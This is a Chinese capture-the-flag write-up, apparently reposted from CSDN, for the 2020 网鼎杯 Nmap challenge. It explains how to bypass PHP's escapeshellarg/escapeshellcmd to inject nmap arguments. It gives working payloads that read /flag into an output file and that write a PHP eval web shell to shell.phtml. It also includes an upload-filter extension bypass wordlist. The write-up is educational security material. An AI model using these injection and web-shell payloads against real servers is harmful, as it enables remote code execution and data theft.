您的位置:首页 > 房产 > 建筑 > [网鼎杯 2020 朱雀组]Nmap(详细解读版)

[网鼎杯 2020 朱雀组]Nmap(详细解读版)

2025/2/25 2:06:32 来源:https://blog.csdn.net/weixin_73399382/article/details/140723515  浏览:    关键词:[网鼎杯 2020 朱雀组]Nmap(详细解读版)

这道题考察nmap的一些用法,以及escapeshellarg和escapeshellcmd两个函数的绕过,可以看这里PHP escapeshellarg()+escapeshellcmd() 之殇 (seebug.org)

两种解题方法:

第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入webshell

-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式

第一种:

这道题首先我们在注释里面看到了flag存放的位置

可以利用nmap 的-iL参数读取flag到一个文件中,我们再访问生成的文件即可

构造一个payload:

127.0.0.1' -iL /flag -o haha
经过escapeshellarg函数后
'127.0.0.1'\'' -iL /flag -o haha'(将单引号转义并用一对单引号包裹起来,再将这个语句用单引号包裹起来确保只有一个参数)
经过escapeshellcmd函数后
'127.0.0.1'\\'' -iL /flag -o haha\'
对\转义,在许多编程语言中,反斜杠被用作转义字符,用来表示特殊字符或序列。这里面两个相邻的反斜杠\表示一个单独的反斜杠字符,没有转义作用。而末尾单引号转义过后的普通字符仍然是它本身,没有变化,会被视为普通字符不具有单引号的作用了
这样就分为了三部分'127.0.0.1'和''连接空白和-iL /flag -o haha'(最后这个单引号只有一个不起作用,但它将最后的文件名变为了haha')
nmap既可扫描前面的ip,又能执行-iL /flag -o haha'

ip中输入,因为'127.0.0.1'\\执行的时候会被简化为127.0.0.1\,这个ip就错了,但是不用管报错,只要后面命令执行了我们就能访问到

记住文件名变为了haha'   直接访问即可看到flag

第二种

正常利用nmap参数-oG写一句话木马:127.0.0.1 | <?=@eval($_REQUEST['cmd']);?> -oG shell.php

显然有东西被过滤,多半是php的原因

用我这个后缀名字典burp爆破后缀发现还是有很多能用的,我们这里就用phtml了

php
php2
php3
php4
php5
pHp
pHp2
pHp3
pHp4
pHp5
html
htm
phtml
pht
Html
Htm
pHtml
asp
aspx
asa
asax
ashx
asmx
cer
aSp
aSpx
aSa
aSax
aScx
aShx
aSmx
cEr
jsp
jspa
jspx
jsw
jxv
jspf
jtml
JSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp/test.jpg
asp;.jpg
cer/test.jpg
cer;.jpg
asa/test.jpg
asa;.jpg
aSp/test.jpg
aSp;.jpg
cEr/test.jpg
cEr;.jpg
aSa/test.jpg
aSa;.jpg
jpg/xx.php
jpg/xx.pHp
jpg/.php
jpg/.pHp
php.xs.aa
php2.aa
php3.aa
php4.aa
php5.aa
pHp.aa
pHp2.aa
pHp3.aa
pHp4.aaa
pHp5.aa
html.aa
htm.aa
phtml.aa
pht.aaa
Html.aaa
Htm.aa
pHtml.aa
php::$DATA

构造payload:127.0.0.1 | ' <?=@eval($_POST["cmd"]);?> -oG shell.phtml '

蚁剑直接连上

escapeshellcmd函数只会转义一些特殊字符,如单引号、双引号、反斜杠等,以防止它们被误解为命令的一部分。它并不会对<?=@eval($_POST[cmd]);?>中的特殊字符进行转义,因为这个字符串看起来更像是PHP代码片段,而不是外部命令参数。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com